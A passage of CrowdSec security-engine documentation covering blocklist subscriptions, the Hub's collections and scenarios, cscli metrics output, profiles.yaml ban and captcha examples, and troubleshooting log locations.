Blocklists](/img/console_blocklists_dark.png) ### Which blocklist should I use?[โ€‹](#which-blocklist-should-i-use "Direct link to Which blocklist should I use?") This depends on the traffic you want to block and the level of strictness you need. For instance, if you're running a web server and wish to shield your websites from known free proxies, subscribing to the `Free Proxies list` blocklist would be a suitable measure. info A `proxy` is an intermediary server. It hides the original requester IP address from your server. On the other hand, if you're not hosting websites, for example, you might opt for the `Firehol greensnow.co list`. This list compiles IPs known for conducting `bruteforce` attacks on a range of services, providing a targeted defense against such malicious activities. info `Bruteforce` attacks are trial-and-error attempts to obtain credentials such as passwords. If neither example fits, each blocklist includes a description to help you choose. ### Subscribing an engine to a blocklist[โ€‹](#subscribing-an-engine-to-a-blocklist "Direct link to Subscribing an engine to a blocklist") To subscribe an engine to a blocklist, click `Subscribe` next to the blocklist. This opens the details panel. Click `Add Security Engine(s)` to choose engines. ![CrowdSec Blocklist Subscription](/img/console_blocklist_subscribe_light.png)![CrowdSec Blocklist Subscription](/img/console_blocklist_subscribe_dark.png) In the modal, select the engine(s) and the action to apply, then click `Save`. ![CrowdSec Blocklist Engine Selection](/img/console_blocklist_engine_selection_light.png)![CrowdSec Blocklist Engine Selection](/img/console_blocklist_engine_selection_dark.png) After saving, it can take up to `2 hours` for the blocklist to become active because community blocklists refresh every 2 hours. ### Where can I see blocklist decisions?[โ€‹](#where-can-i-see-blocklist-decisions "Direct link to Where can I see blocklist decisions?") To see the active blocklists within an engine, you can run the following command: * Linux/Freebsd * Windows * Kubernetes SHCOPY ``` cscli metrics show decisions ``` SHCOPY ``` cscli.exe metrics show decisions ``` SHCOPY ``` kubectl exec -n crowdsec -it crowdsec-lapi- -- cscli metrics show decisions ``` Command Output SHCommand OutputCOPY ``` Local API Decisions: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Reason โ”‚ Origin โ”‚ Action โ”‚ Count โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ free_proxies โ”‚ lists โ”‚ captcha โ”‚ 12668 โ”‚ โ”‚ tor-exit-nodes โ”‚ lists โ”‚ captcha โ”‚ 1152 โ”‚ โ”‚ crowdsecurity/CVE-2022-42889 โ”‚ CAPI โ”‚ ban โ”‚ 4 โ”‚ โ”‚ crowdsecurity/nginx-req-limit-exceeded โ”‚ CAPI โ”‚ ban โ”‚ 130 โ”‚ โ”‚ crowdsecurity/http-probing โ”‚ CAPI โ”‚ ban โ”‚ 1805 โ”‚ โ”‚ crowdsecurity/http-probing โ”‚ crowdsec โ”‚ ban โ”‚ 3 โ”‚ โ”‚ crowdsecurity/http-sensitive-files โ”‚ CAPI โ”‚ ban โ”‚ 48 โ”‚ โ”‚ crowdsecurity/ssh-slow-bf โ”‚ CAPI โ”‚ ban โ”‚ 63 โ”‚ โ”‚ crowdsecurity/http-bad-user-agent โ”‚ CAPI โ”‚ ban โ”‚ 11623 โ”‚ โ”‚ crowdsecurity/http-bad-user-agent โ”‚ crowdsec โ”‚ ban โ”‚ 1 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` In the example output, you can see that the `free_proxies` and `tor-exit-nodes` blocklists are active and have the origin `lists`. ## Next steps[โ€‹](#next-steps "Direct link to Next steps") Now that you have subscribed an engine to a list, continue exploring the Console: * [CrowdSec Hub](https://docs.crowdsec.net/u/getting_started/post_installation/console_hub.md) If you want the full setup flow, return to the [post-installation steps](https://docs.crowdsec.net/u/getting_started/next_steps.md#1-crowdsec-console-). --- # CrowdSec Hub The [CrowdSec Hub](https://hub.crowdsec.net/) is a repository of ready-to-use configuration files. Resources are maintained by both the CrowdSec team and the community. ## Hub Tour[โ€‹](#hub-tour "Direct link to Hub Tour") The [Hub](https://hub.crowdsec.net/) is divided into sections to help you find the right configuration. ![CrowdSec Hub](/img/console_hub_light.png)![CrowdSec Hub](/img/console_hub_dark.png) ### Collections Tab[โ€‹](#collections-tab "Direct link to Collections Tab") [Collections](https://docs.crowdsec.net/docs/next/log_processor/collections/intro.md) are sets of configurations that work together. For example, the [crowdsecurity/sshd collection](https://app.crowdsec.net/hub/author/crowdsecurity/collections/sshd) focuses on SSH attack patterns. ![CrowdSec sshd collection](/img/console_sshd_collection_light.png)![CrowdSec sshd collection](/img/console_sshd_collection_dark.png) You can see the contents of a collection in the `Content` section. ![CrowdSec sshd collection content](/img/console_sshd_collection_content_light.png)![CrowdSec sshd collection content](/img/console_sshd_collection_content_dark.png) As shown above, the `sshd` collection includes a [parser](https://docs.crowdsec.net/docs/next/log_processor/parsers/intro.md) and [scenarios](https://docs.crowdsec.net/docs/next/log_processor/scenarios/intro.md) focused on brute-force attacks. ### Configurations Tab[โ€‹](#configurations-tab "Direct link to Configurations Tab") The configurations tab holds individual files you can use with your CrowdSec setup. Each item includes tags to help you identify its purpose. ![CrowdSec configurations](/img/console_configurations_light.png)![CrowdSec configurations](/img/console_configurations_dark.png) For example, [apache\_log4j2\_cve-2021-44228](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/apache_log4j2_cve-2021-44228) is an `Attack scenario` designed to detect Log4j2 CVE-2021-44228 exploitation. ![CrowdSec apache\_log4j2\_cve-2021-44228](/img/console_log4j_light.png)![CrowdSec apache\_log4j2\_cve-2021-44228](/img/console_log4j_dark.png) Another example is [crowdsecurity/nginx-logs](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/nginx-logs), a `Log parser` designed to parse Nginx logs. ![CrowdSec nginx-logs](/img/console_nginx_logs_light.png)![CrowdSec nginx-logs](/img/console_nginx_logs_dark.png) info There are more configuration types than `Attack scenario` and `Log parser`, but these are the most common. ### Bouncers Tab[โ€‹](#bouncers-tab "Direct link to Bouncers Tab") info The term `Bouncers` has been updated to `Remediation Components` in the [Taxonomy](https://www.crowdsec.net/blog/updating-crowdsec-naming-taxonomy). Legacy items might still use the term `bouncers`. They mean the same thing. This tab contains [Remediation Components](https://docs.crowdsec.net/u/bouncers/intro.md) that enforce decisions made by the CrowdSec [Security Engine](https://docs.crowdsec.net/docs/next/intro.md#architecture). ![CrowdSec bouncers](/img/console_bouncers_light.png)![CrowdSec bouncers](/img/console_bouncers_dark.png) For example, [crowdsecurity/iptables](https://app.crowdsec.net/hub/author/crowdsecurity/remediation-components/iptables) blocks IP addresses using `iptables`. info Please note the download figures are solely from GitHub metrics and do not include downloads from other sources. ### AppSec Configurations Tab[โ€‹](#appsec-configurations-tab "Direct link to AppSec Configurations Tab") info Since version `1.6.0`, CrowdSec includes the [AppSec Component](https://docs.crowdsec.net/docs/next/appsec/intro.md), which lets you run CrowdSec as a Web Application Firewall (WAF). [AppSec configurations](https://docs.crowdsec.net/docs/next/appsec/configuration.md) configure the [AppSec Component](https://docs.crowdsec.net/docs/next/appsec/intro.md) and provide sensible defaults for common web applications. ![CrowdSec AppSec configurations](/img/console_appsec_config_light.png)![CrowdSec AppSec configurations](/img/console_appsec_config_dark.png) ### AppSec Rules Tab[โ€‹](#appsec-rules-tab "Direct link to AppSec Rules Tab") [AppSec Rules](https://docs.crowdsec.net/docs/next/appsec/rules_syntax.md) are used with the [AppSec Component](https://docs.crowdsec.net/docs/next/appsec/intro.md) to detect and block web application attacks. These rules are defined and loaded by [AppSec Configurations](https://docs.crowdsec.net/docs/next/appsec/configuration.md). ![CrowdSec AppSec rules](/img/console_appsec_rules_light.png)![CrowdSec AppSec rules](/img/console_appsec_rules_dark.png) ## Next steps[โ€‹](#next-steps "Direct link to Next steps") Now that you have explored the Hub, return to the [post-installation steps](https://docs.crowdsec.net/u/getting_started/next_steps.md#1-crowdsec-console-) to continue setup. --- # CrowdSec Metrics CrowdSec is instrumented with [Prometheus](https://prometheus.io/) to provide detailed metrics and traceability. `cscli metrics` lets you view a subset of the metrics exposed by CrowdSec. For production-grade dashboards, use the [Grafana](https://docs.crowdsec.net/docs/next/observability/prometheus.md) integration. The best way to see available metrics is `cscli metrics list`: | Type | Title | Description | | -------------- | ---------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | acquisition | Acquisition Metrics | Measures lines read, parsed, and unparsed per datasource. Zero read lines indicate a misconfigured or inactive datasource. Zero parsed lines mean the parser(s) failed. Non-zero parsed lines are fine as CrowdSec selects relevant lines. | | alerts | Local API Alerts | Tracks the total number of past and present alerts for the installed scenarios. | | appsec-engine | Appsec Metrics | Measures the number of parsed and blocked requests by the AppSec Component. | | appsec-rule | Appsec Rule Metrics | Provides โ€œper AppSec Componentโ€ information about the number of matches for loaded AppSec Rules. | | decisions | Local API Decisions | Provides information about all currently active decisions. Includes both local (crowdsec) and global decisions (CAPI), and lists subscriptions (lists). | | lapi | Local API Metrics | Monitors the requests made to local API routes. | | lapi-bouncer | Local API Bouncers Metrics | Tracks total hits to remediation component related API routes. | | lapi-decisions | Local API Bouncers Decisions | Tracks the number of empty/non-empty answers from LAPI to bouncers that are working in "live" mode. | | lapi-machine | Local API Machines Metrics | Tracks the number of calls to the local API from each registered machine. | | parsers | Parser Metrics | Tracks the number of events processed by each parser and indicates success or failure. Zero parsed lines mean the parser(s) failed. Non-zero unparsed lines are fine as CrowdSec selects relevant lines. | | scenarios | Scenario Metrics | Measures events in different scenarios. Current count is the number of buckets during metrics collection. Overflows are past event-producing buckets, while Expired are ones that did not receive enough events to overflow. | | stash | Parser Stash Metrics | Tracks the status of stashes that might be created by various parsers and scenarios. | | whitelists | Whitelist Metrics | Tracks the number of events processed and possibly whitelisted by each parser whitelist. | # Metrics sections You can use aliases to view metrics related to specific areas (`cscli metrics show $alias`): * `engine` : Security Engine metrics (acquisition, parsers, scenarios, whitelists) * `lapi` : Local API metrics (bouncer API calls, local API decisions, machine decisions) * `appsec` : AppSec metrics (requests processed, rules evaluated and triggered) You can combine sections listed in `cscli metrics list`. ## Example: Security Engine metrics[โ€‹](#example-security-engine-metrics "Direct link to Example: Security Engine metrics") `cscli metrics show engine` displays the metrics sections related to the Security Engine: acquisition, parsers, scenarios, whitelists, and stash. Command Output SHCommand OutputCOPY ``` Acquisition Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Source โ”‚ Lines read โ”‚ Lines parsed โ”‚ Lines unparsed โ”‚ Lines poured to bucket โ”‚ Lines whitelisted โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ file:/var/log/auth.log โ”‚ 636 โ”‚ - โ”‚ 636 โ”‚ - โ”‚ - โ”‚ โ”‚ file:/var/log/nginx/access.log โ”‚ 24 โ”‚ 24 โ”‚ - โ”‚ 1 โ”‚ - โ”‚ โ”‚ file:/var/log/syslog โ”‚ 1.55k โ”‚ - โ”‚ 1.55k โ”‚ - โ”‚ - โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ Parser Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Parsers โ”‚ Hits โ”‚ Parsed โ”‚ Unparsed โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ child-crowdsecurity/http-logs โ”‚ 72 โ”‚ 48 โ”‚ 24 โ”‚ โ”‚ child-crowdsecurity/nginx-logs โ”‚ 24 โ”‚ 24 โ”‚ - โ”‚ โ”‚ child-crowdsecurity/syslog-logs โ”‚ 2.18k โ”‚ 2.18k โ”‚ - โ”‚ โ”‚ crowdsecurity/dateparse-enrich โ”‚ 24 โ”‚ 24 โ”‚ - โ”‚ โ”‚ crowdsecurity/geoip-enrich โ”‚ 24 โ”‚ 24 โ”‚ - โ”‚ โ”‚ crowdsecurity/http-logs โ”‚ 24 โ”‚ 24 โ”‚ - โ”‚ โ”‚ crowdsecurity/nginx-logs โ”‚ 24 โ”‚ 24 โ”‚ - โ”‚ โ”‚ crowdsecurity/non-syslog โ”‚ 24 โ”‚ 24 โ”‚ - โ”‚ โ”‚ crowdsecurity/syslog-logs โ”‚ 2.18k โ”‚ 2.18k โ”‚ - โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ Scenario Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Scenario โ”‚ Current Count โ”‚ Overflows โ”‚ Instantiated โ”‚ Poured โ”‚ Expired โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ crowdsecurity/http-crawl-non_statics โ”‚ - โ”‚ - โ”‚ 1 โ”‚ 1 โ”‚ 1 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ Parser Stash Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Name โ”‚ Type โ”‚ Items โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ Whitelist Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Whitelist โ”‚ Reason โ”‚ Hits โ”‚ Whitelisted โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ crowdsecurity/whitelists โ”‚ private ipv4/ipv6 ip/ranges โ”‚ 12 โ”‚ 12 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` --- # Profiles Profiles are a list of rules that determine what actions CrowdSec takes after a detection. This can be as simple as banning an IP, or as complex as scaling ban duration based on prior detections. The `profiles.yaml` file, situated at the root of the configuration directory, outlines profiles to be used. It is loaded during startup and can be refreshed while the system is running. Here is the default `profiles.yaml` path by platform: * **Linux** `/etc/crowdsec/profiles.yaml` * **Freebsd** `/usr/local/etc/crowdsec/profiles.yaml` * **Windows** `C:\ProgramData\CrowdSec\config\profiles.yaml` * **Kubernetes** By default, in `/etc/crowdsec/profiles.yaml` in `crowdsec-lapi-*` pod. You can overwrite it in `values.yaml -> config.profiles.yaml` Default profiles.yaml YAMLDefault profiles.yamlCOPY ``` name: default_ip_remediation #debug: true filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h #duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) # notifications: # - slack_default # Set the webhook in /etc/crowdsec/notifications/slack.yaml before enabling this. # - splunk_default # Set the splunk url and token in /etc/crowdsec/notifications/splunk.yaml before enabling this. # - http_default # Set the required http parameters in /etc/crowdsec/notifications/http.yaml before enabling this. # - email_default # Set the required email parameters in /etc/crowdsec/notifications/email.yaml before enabling this. on_success: break ``` We do not cover every directive here. See the [profiles.yaml reference](https://docs.crowdsec.net/docs/next/local_api/profiles/format.md#profile-directives) for full details. ## Example Modifications[โ€‹](#example-modifications "Direct link to Example Modifications") Here are a few examples of how you might modify your profiles to better suit your needs. ### Enable Notifications[โ€‹](#enable-notifications "Direct link to Enable Notifications") info Notifications are plugins that forward alerts to another service. For example, the `http` plugin can forward to your SIEM. This adjustment can be made by configuring the plugin files located under: * **Linux** `/etc/crowdsec/notifications/` * **Freebsd** `/usr/local/etc/crowdsec/notifications/` * **Windows** `C:\ProgramData\CrowdSec\config\notifications\` We do not cover configuration here. See the [notification plugins documentation](https://docs.crowdsec.net/docs/next/local_api/notification_plugins/intro.md). After configuring, remove the comment (`#`) from the [`notifications`](https://docs.crowdsec.net/docs/next/local_api/profiles/format.md#notifications) lines to enable them. Modified profiles.yaml YAMLCOPY ``` name: default_ip_remediation #debug: true filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h #duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) notifications: - slack_default on_success: break ``` ### Scaling Decision Duration[โ€‹](#scaling-decision-duration "Direct link to Scaling Decision Duration") YAMLCOPY ``` duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) ``` Enable this by removing the comment (`#`) from the [`duration_expr`](https://docs.crowdsec.net/docs/next/local_api/profiles/format.md#duration_expr) line. The default formula uses [`GetDecisionsCount`](https://docs.crowdsec.net/docs/next/expr/other_helpers.md#getdecisionscountvalue-string-int) to determine how many times the value was detected. We add 1 so the first ban is always 4 hours. The resulting duration is calculated by multiplying this count by 4, then the [`Sprintf`](https://docs.crowdsec.net/docs/next/expr/strings_helpers.md#sprintfformat-string-a-interface-string) function formats the result into a string with the `h` suffix. The `h` suffix is used to denote hours within [Go's time package](https://pkg.go.dev/time#ParseDuration). For example, if an IP has been banned 3 times, the resulting string is `12h` (12 hours). Modified profiles.yaml YAMLCOPY ``` name: default_ip_remediation #debug: true filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) # notifications: # - slack_default # Set the webhook in /etc/crowdsec/notifications/slack.yaml before enabling this. # - splunk_default # Set the splunk url and token in /etc/crowdsec/notifications/splunk.yaml before enabling this. # - http_default # Set the required http parameters in /etc/crowdsec/notifications/http.yaml before enabling this. # - email_default # Set the required email parameters in /etc/crowdsec/notifications/email.yaml before enabling this. on_success: break ``` ### Captcha Decision[โ€‹](#captcha-decision "Direct link to Captcha Decision") info You **MUST** have configured a remediation component that supports [Captcha Challenges](https://en.wikipedia.org/wiki/CAPTCHA), see [here](https://docs.crowdsec.net/u/bouncers/intro.md). Upon detecting an incident, instead of immediately imposing a ban, you could opt to challenge the individual with a [Captcha](https://en.wikipedia.org/wiki/CAPTCHA). This approach can be implemented by inserting an extra profile prior to the ban profile. YAMLCOPY ``` name: captcha_remediation filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" && Alert.GetScenario() contains "http" ## Any scenario with http in its name will trigger a captcha challenge decisions: - type: captcha duration: 4h on_success: break --- name: default_ip_remediation ... ``` The highlighted line above is the separator between profiles. `on_success` is set to `break` so the alert does not continue to other profiles; the offender receives only the captcha decision. Modified profiles.yaml YAMLCOPY ``` name: captcha_remediation filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" && Alert.GetScenario() contains "http" ## Any scenario with http in its name will trigger a captcha challenge decisions: - type: captcha duration: 4h on_success: break --- name: default_ip_remediation #debug: true filters: - Alert.Remediation == true && Alert.GetScope() == "Ip" decisions: - type: ban duration: 4h #duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) # notifications: # - slack_default # Set the webhook in /etc/crowdsec/notifications/slack.yaml before enabling this. # - splunk_default # Set the splunk url and token in /etc/crowdsec/notifications/splunk.yaml before enabling this. # - http_default # Set the required http parameters in /etc/crowdsec/notifications/http.yaml before enabling this. # - email_default # Set the required email parameters in /etc/crowdsec/notifications/email.yaml before enabling this. on_success: break ``` ## Next steps[โ€‹](#next-steps "Direct link to Next steps") After modifying profiles, restart the CrowdSec service to apply changes: * Linux/Freebsd * Windows * Kubernetes SHCOPY ``` sudo crowdsec -t && sudo systemctl restart crowdsec ``` SHCOPY ``` Restart-Service crowdsec ``` SHCOPY ``` helm upgrade --install crowdsec crowdsecurity/crowdsec --namespace crowdsec -f values.yaml ``` --- # Troubleshoot This section helps you resolve common installation issues. If you need more depth, see the full [troubleshooting documentation](https://docs.crowdsec.net/u/troubleshooting/intro.md). # Logs and errors Before troubleshooting, find the underlying error. Logs are the best place to start. Log locations vary by platform. Default locations: * **Linux** `/var/log/crowdsec.log` * **Freebsd** `/var/log/crowdsec.log` * **Opnsense** `/var/log/crowdsec/crowdsec.log` * **Pfsense** `/var/log/crowdsec/crowdsec.log` * **Windows** `C:\ProgramData\CrowdSec\log\crowdsec.log` * **Kubernetes** `kubectl logs -n crowdsec crowdsec-(agent|lapi)-*` ## Filter logs for error messages[โ€‹](#filter-logs-for-error-messages "Direct link to Filter logs for error messages") CrowdSec logs can be verbose. Use the commands below to filter for errors: * Linux/Freebsd * Windows * 